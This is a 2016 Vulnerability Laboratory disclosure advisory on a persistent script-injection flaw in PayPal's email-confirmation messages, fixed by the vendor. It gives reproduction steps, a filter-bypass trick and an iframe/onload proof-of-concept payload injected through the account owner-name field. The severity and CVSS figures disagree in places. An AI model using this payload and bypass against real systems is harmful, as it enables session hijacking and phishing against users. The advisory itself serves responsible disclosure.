PayPal Bug Bounty #121 - Bypass & Persistent Vulnerability

Document Title:
===============
PayPal Bug Bounty #121 - Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1627

ID: EIBBP-32725

Video: http://www.vulnerability-lab.com/get_content.php?id=1697




Release Date:
=============
2016-03-29


Vulnerability Laboratory ID (VL-ID):
====================================
1627


Common Vulnerability Scoring System:
====================================
3.9


Product & Service Introduction:
===============================
PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money 
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally, 
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some 
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined 
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified 
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy 
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your 
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a 
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary 
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request 
a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it 
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency 
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account 
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.

(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered an application-side mail encoding web vulnerability and filter bypass issue in the official PayPal Inc online-service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-10-27: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2015-10-28: Vendor Notification (PayPal Inc - Security & Bug Bounty Team)
2015-10-30: Vendor Response/Feedback (PayPal Inc - Security & Bug Bounty Team)
2016-03-08: Vendor Fix/Patch (PayPal Inc - Developer Team)
2016-03-09: Security Acknowledgements (PayPal Inc - Security & Bug Bounty Team)
2016-03-30: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
PayPal Inc
Product: PayPal - Online Service Web Application 2015 Q4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A persistent input validation & mail encoding web vulnerability has been discovered in the official PayPal Inc online-service web-application.
The validation and mail encoding web vulnerability allows remote attackers to inject own malicious script codes to the mail header of the portal mails.

Due to a long term testing we was able to verify with an older registered account a new vulnerability by accessing the panel. The accoutn [email protected] 
was registered with special chars in the ownername input fields. By registration of multiple emails to the account we was able to stream the malicious 
payload in the ownername of the account to another connected paypal user email ([email protected]). The ownername input field does not encode 
the vulnerable inserted special chars. When an account is registered with an already exisiting account for sharing it is required to confirm the account by 
email (link). In this email the malicious injected owner-name payload is executing in the users account email inbox. The web-server of the paypal portal 
does not filter the input of the already injected code and uses a string to stream it internal to the registere account mail to verify. Thus results in 
the execution of the payload in the mail inbox of the target account that was added. The reply of the server does run through the main email sender of 
paypal ([email protected]).

A filter has been activated by an automated appliance to make executable codes invisible after taking them to process by send as confirm email. In our 
testings every second email was manipulated by the server by injection of `div style=``display:none; color:fff; font-size:1pt;`. Even if the interaction 
was manual or automated coordinated to patch the validation flaw next to processing it we used another method to bypass. 

To bypass the filter then and edit the value=`` its required to update the owner name with payload to [payload]+input, and change it to value=`anything src=`/`
so basically `anything` will be the value and src=``/`` will be the new parameter inside that input code form. The same way we used to confirm vulnerability 120 
with the EIBBP-32718.

The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. 
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources 
and persistent manipulation of affected or connected service module context.

Request Method(s): Inject
				[+] POST

Vulnerable Module(s):
				[+] PayPal Account - Profile Account Settings - Unconfirmed Email Account

Vulnerable Parameter(s):
				[+] ownername

Affected Module(s):
				[+] Confirm your Email Address ([email protected] or [email protected])



Proof of Concept (PoC):
=======================
The application-side mail encoding vulnerability can be exploited by multi user account and shared accounts with restricted user account access and low or medium user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

1. Register a PayPal Inc account
2. Inject a payload as ownername to the paypal user profile
3. Use the bypass filter method to process the input
4. Surf to the profile were the emails becomes visible and click the unconfirmed flag button
Note: Now the service takes the payload and streams the code to the paypal user email accounts
5. Open the postbox of one of the registered accounts that is still not confirmed and watch the header
6. The code executes in the header section next to the introduction sentence with the vulnerable ownername value
7. Successful reproduce of the security vulnerability!


PoC: Source (Confirm Email Address)

Confirm your email address ...
Hello %20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY VIA OWNERNAME!]iframe src="a" onload="alert("VL")" <,<="" p=""><p>Confirm your email address 
now to let us know it really belongs to you.</p> <p>Once that's done, you're ready to receive money.</p> <p>If you are unable to click the button below to confirm your 
email, please follow this link <span class="confidential">https://www.paypal.com/de/ece/?cn=00622082609784738416&[email protected]</span>.</p> <p> <table align=left border="0" 
cellspacing="0" cellpadding="0" class="mobile_button" width="100%"> <tbody> <tr> <td height="1" id="button_force_width"> <img height="1" border="0" 
src="https://www.paypalobjects.com/webstatic/eCAT/GCE/spacer10.gif" style="display:block;" draggable="false"/> </td> </tr> <tr> <td> <table border="0" 
cellspacing="0" cellpadding="0" class="mobile_button"> <tbody> <tr> <td width="1" height="30" id="force_height"> <img width="1" height="30" border="0" 
src="https://www.paypalobjects.com/webstatic/eCAT/GCE/spacer10.gif" style="display:block;" draggable="false"/> </td> <td valign="middle" align="left" 
class="button_style" style="font-family:HelveticaNeueLight,HelveticaNeue-Light,'Helvetica Neue Light',HelveticaNeue,Helvetica,Arial,sans-serif;font-weight:300;
font-stretch:normal;text-align:center;color:#fff;font-size:15px;background:#0079C1;;border-radius:7px!important; -moz-border-radius: 7px !important; -o-border-radius: 
7px !important; -ms-border-radius: 7px !important;line-height:1.45em;padding:7px 15px 8px;margin:0 auto 16px;font-size:1em;padding-bottom:7px;"> 
<span class="confidential"><a type="Link" target="_BLANK" class="button " l-title="" linkId="7d8753434982d8bb33800b257d167211" style="color:#ffffff; text-decoration:none; 
display:block; font-family:Arial,sans-serif; font-weight:bold; font-size:13px; line-height:15px;" 
href="https://www.paypal.com/de/ece/?cn=00622082609784738416&[email protected]"><span style="color:#ffffff; text-decoration:none; display:block; 
font-family:Arial,sans-serif; font-weight:bold; font-size:13px; line-height:15px;">Confirm your email</span></a></span> </td> </tr> </tbody> </table> </td> </tr> 
</tbody> </table> </p> <br> <!--[if !mso]><!--> <br> <!--<![endif]--><p><p>Thanks,</p> <p>PayPal</p></p> </td> </tr> </tbody> </table> </td> 
<td width="12" style="background:url(/i/scr/scr_emailRightBorder_13wx1h.gif) left repeat-y;border-right: 1px solid #ddd;"> 
<img src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" border="0" alt=""> </td> </tr> <tr> <td colspan="3"> 
<img height="13" src="https://www.paypalobjects.com/en_US/i/scr/scr_emailBottomCorners_580wx13h.gif" border="0" alt=""> </td> </tr> </tbody> </table> 
<table border="0" cellpadding="0" cellspacing="0" id="emailFooter" style="padding-top:20px;font:12px Arial, Verdana, Helvetica, sans-serif;color:#292929;" 
width="100%"><tbody><tr><td><p>Copyright © 1999-2015 PayPal. All rights reserved. PayPal (Europe) S.à r.l. et Cie, S.C.A. Société en Commandite 
par Actions Registered Office: 22–24 Boulevard Royal, L-2449 Luxembourg RCS Luxembourg B 118 349</p><p class="footer ppid">PayPal PPC000372:4aab730d1f97</p></td></tr></tbody></table> 
<img src="https://paypal.112.2O7.net/b/ss/paypalglobal/1/H.6--NS/0?pageName=PPC000372&c50=en_US" alt="" height="1" width="1" border="0"/> 
<img src="https://t.paypal.com/ts?ppid=PPC000372&cnac=DE&rsta=en_DE(en_US)&cust=MLU5GPECNYWH8&unptid=315d1372-78d7-11e5-8112-d48564540750&t=&cal=4aab730d1f97&calc=4aab730d1f97&calf=4aab730d1f97&page=main:email&pgrp=main:email&e=op&mchn=em&s=ci&mail=sys" alt="" 
height="1" width="1" border="0"/> </body> </html></div>
	 <table border="0" cellpadding="0" cellspacing="0" id="emailWrapperTable" width="580">
	    <tbody>
<tr valign="top">
    <td colspan="3">
        <table border="0" cellpadding="0" cellspacing="0" width="100%">
            <tbody>
                <tr valign="top">
                    <td width="130px;"><a href="https://www.paypal.com"><img src="https://www.paypalobjects.com/en_US/i/logo/logo_emailheader_113wx46h.gif"></a></td>
                </tr>
                <tr>
                    <td>
                        <img alt="" border="0" height="10" src="http://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1">
                    </td>
                </tr>
            </tbody>
        </table>
    </td>
</tr>


Video Demonstration: ../poc.wmv
In the video we demonstrate the compromised test account with multiple emails. One of the email is unconfirmed. In the profile of the user is a payload 
saved to the ownername of the paypal account. This ownername is taken to the confirm email of paypal and send by the original source. After the switch 
over to the system of the mobile device we extract the send message and save it as basic html file which results in an execution. The bug is located 
on the application-side and affects the email encoding to the paypal users. This issue could also have an effect to other section as well which has to 
be approved. The bypass method is to pass the bug through the filter for execution.


Solution - Fix & Patch:
=======================
2016-03-08: Vendor Fix/Patch (PayPal Inc - Developer Team)


Security Risk:
==============
The security risk of the application-side mail encoding vulnerability and filter bypass issue is estimated as medium. (CVSS 3.7)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]


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=========================
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